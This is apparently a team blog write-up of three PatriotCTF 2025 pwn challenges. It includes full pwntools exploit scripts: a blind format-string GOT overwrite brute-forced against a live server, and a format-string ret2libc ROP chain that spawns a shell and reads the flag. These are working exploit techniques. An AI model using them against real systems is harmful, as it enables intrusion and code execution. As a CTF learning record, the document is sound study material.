- Published on
PatriotCTF 2025 - PWN challenges
Introduction
On November 21, an online America CTF took place. Unfortunately, after the CTF the challenges were taken down and I didn’t manage to take screenshots. There were 3 PWN challenges, all of which we solved—even though in one of them the flag leaked from the binary, but the organizers fixed it afterwards. Two of the challenges I describe focused on a vulnerable printf. More information about CTF here.
Wowsay
Writeup author: kerszi
This task was a blind pwn, meaning no binary and you had to guess what was going on ;) After logging in at:
nc 18.212.136.134 1337
Wow.
The first thought that came to mind was a printvuln vulnerability. As usual, I entered %3$d and got confirmation of my suspicion. Some time ago there was a similar challenge at BuckeyeCTF 2025 called printful. I didn’t solve it back then, but it wasn’t wasted time—I learned a lot. So I started scanning the stack for interesting things. I was focused on finding any libc leak. I was basically looking for the tail of the __libc_start_main_ret address. I scanned the stack once, then a second time looking for places where the last three bytes repeated. It was very likely to be something from libc. After analysis, I might have identified the matching library, but that would’ve taken a lot of work—scanning stacks, etc. And that wasn’t the right path, since the program only ran once. I needed to find the start of the main function. Then I noticed an interesting address: 0x401352. No PIE, I thought. So maybe that was the right direction. I wrote a similar program in C as the server binary. I checked it and saw that in my version the GOT started at 0x404000 and went upwards. And this 0x401352 might be the beginning of main. Maybe the GOT is at 0x404000 as well. So I just needed to overwrite exit in GOT (if present) with main. To overwrite addresses, you can use pwntools’ fmtstr_payload. I just had to find the offset, which was straightforward. It was 6. Later when I was looking for correct GOT I tried with 9 addresses and bingo. I hit it on the last try. Instead of exiting, the program printed wow again. Now we had a loop. So I found the beginning of main and probably exit, but what would that give me? I also noticed something interesting: 0x401352 doesn’t start earlier, but in my compiled program it was at 0x4011f6. The conclusion was that something must be before main. Maybe a win function? So I scanned from 0x0401200 and didn’t find a flag, but I got an interesting dump of the program.
That made me confident that there must be a function that reads the flag. So I wanted to continue scanning, but angry players were probably DDOSing the challenge with packets, so it was very unstable. I waited for it to come back up and started scanning from an earlier address: 0x401150. Around 0x4011c7 the flag dumped. A very nice challenge.Solution
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root
HOST="nc 18.212.136.134 1337"
ADDRESS,PORT=HOST.split()[1:]
p = remote(ADDRESS,PORT)
got1=0x404000+(8*9) #exit or getchar
main1=0x401352 #main?
main2=0x4011c7 #- ret2win?
#--phase 1
#---find main and got with exit
# payload=fmtstr_payload(6, {got1: main2})
# p.sendlineafter(b"What would you like to say:",payload)
# RECV=p.recvall()
# warn(RECV)
# p.interactive()
#exit()
#--phase 2
#---find win, replace got
for i in range (0x401150,0x401352):
try:
p = remote(ADDRESS, PORT)
payload=fmtstr_payload(6, {got1: i})
warn (f"tried: {i:#x}")
p.sendlineafter(b"What would you like to say:",payload)
RECV=p.recvall()
if b'CACI' in RECV:
warn (RECV)
break;
p.close()
except:
pass
p.interactive()
CACI{w0ws4y_b3tt3r_th4n_c0ws4y_1_pr0m1s3}
Cursed format
Writeup author: kerszi
%n. (I ended up liking it.) This time we received a Dockerfile. We only needed to build the image, grab libc and the binary, and set up our environment to use version 2.31. The idea was to find the function that exits and overwrite it with a nice three-gadget ROP chain: pop rdi; str_bin_str; system. There were two issues. The small buffer (32 characters) made it hard to overwrite an entire address via %n. The second issue was text encryption, but ChatGPT handled that beautifully for me. It converted it nicely. So the first thing I did was inspect the return address in pwngdb. 
0x7fffffffdd48 —▸ 0x7ffff7e19d7a (__libc_start_main+234)
It looked like a solid candidate. Earlier functions would have worked too, but they required using a onegadget, and the buffer didn’t allow overwriting those addresses. I didn’t even try; even though fmtstr_payload in "long" mode reported a 32-byte length, some error occurred. I didn’t feel like dealing with overwriting the address eight bytes at a time. But overwriting it one byte at a time was doable with some effort, so I asked ChatGPT to write those helper routines. It did it well. But before that, I manually overwrote the return addresses using pwngdb:
eq 0x7fffffffdd48 [pop rdi]
eq 0x7fffffffdd50 [str_bin_sh]
eq 0x7fffffffdd58 [system]
Of course that didn’t work because the stack offset was wrong. I added a ret gadget and everything fell into place. After that, it was just a matter of implementing it in the exploit.
Solution
from pwn import *
import re
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root
HOST="nc 18.212.136.134 8887"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./cursed_format_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('./libc.so.6', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
# def convert_first(s: str) -> bytes:
# return bytes([ord(c) ^ 0xFF for c in s] + [0xFF]) # dodajemy końcowe \0 ^ 0xFF
def write_qword_bytewise(p, dst_addr: int, src_val: int):
FMT_OFFSET = 6 # tyle miałeś w przykładzie
warn (f"{dst_addr:#x}->{src_val:#x}")
"""
Nadpisuje 8 bajtów pod dst_addr wartością src_val (LSB first),
po 1 bajcie na wywołanie, przez %hhn (%n w fmtstr_payload z write_size='byte').
"""
for i in range(8):
addr = dst_addr + i
byte = (src_val >> (8 * i)) & 0xff
p.recvuntil(b'Invalid option!')
p.sendlineafter(b'>> ', b'1')
payload = fmtstr_payload(
FMT_OFFSET,
{addr: byte},
write_size='byte'
)
p.sendline(make_payload(payload))
fmtsize = 0x20
key = bytearray(b'\xff' * fmtsize) # jak w binarce na starcie
def make_payload(desired: bytes) -> bytes:
global key
# to, co MA zobaczyć printf (łącznie z '\n' i '\0')
desired = desired + b'\x00' # ręczny terminator
desired = desired.ljust(fmtsize, b'\x00')
out = bytearray(fmtsize)
for i in range(fmtsize):
out[i] = desired[i] ^ key[i]
# update key tak jak w curse(): key[i] = str[i] (to co zobaczył printf)
key[:] = desired
return bytes(out)
p.sendlineafter(b'>>', b'1')
payload = b"%14$p\n"
p.sendline(make_payload(payload))
RECV = int(p.recvline().strip(), 16)
STACK_TO_WRITE = RECV - 0xe8
warn (f"STACK_TO_WRITE: {STACK_TO_WRITE:#x}")
p.recvuntil(b'Invalid option!')
p.sendlineafter(b'>> ', b'1')
payload = b"%17$p\n"
p.sendline(make_payload(payload))
RECV=int(p.recvline().strip(),16)
LIBC = RECV-0x23d7a
warn (f"LIBC: {LIBC:#x}")
libc.address=LIBC
warn(f"libc.address: {libc.address:#x}")
pop_rdi=libc.address+0x237b6
warn(f"pop_rdi: {pop_rdi:#x}")
ret=libc.address+0x237b7
warn(f"ret: {ret:#x}")
str_bin_sh=libc.address+0x195152
warn(f"str_bin_sh: {str_bin_sh:#x}")
system=libc.address+0x45f10
warn(f"system: {system:#x}")
write_qword_bytewise(p, STACK_TO_WRITE, ret)
write_qword_bytewise(p, STACK_TO_WRITE+8, pop_rdi)
write_qword_bytewise(p, STACK_TO_WRITE+16, str_bin_sh)
write_qword_bytewise(p, STACK_TO_WRITE+24, system)
p.recvuntil(b'Invalid option!')
p.sendlineafter(b'>> ', b'2')
p.sendline(b'cat flag.txt')
p.interactive()
pctf{im_sorry_i_made_you_do_that_lol}
Switchboard
Writeup author: Grzechu
Unfortunately in the third task the flag was in the binary. Later the organizers fixed it, but what leaked already leaked. So the challenge would have to be solved differently. But the flag was captured.
pctf{n1c3_k3rn3l_sl4b_938f238}
Bonus
Optionally, You can find all resources to tests: https://github.com/MindCraftersi/ctf/tree/main/2025/PatriotCTF/pwn
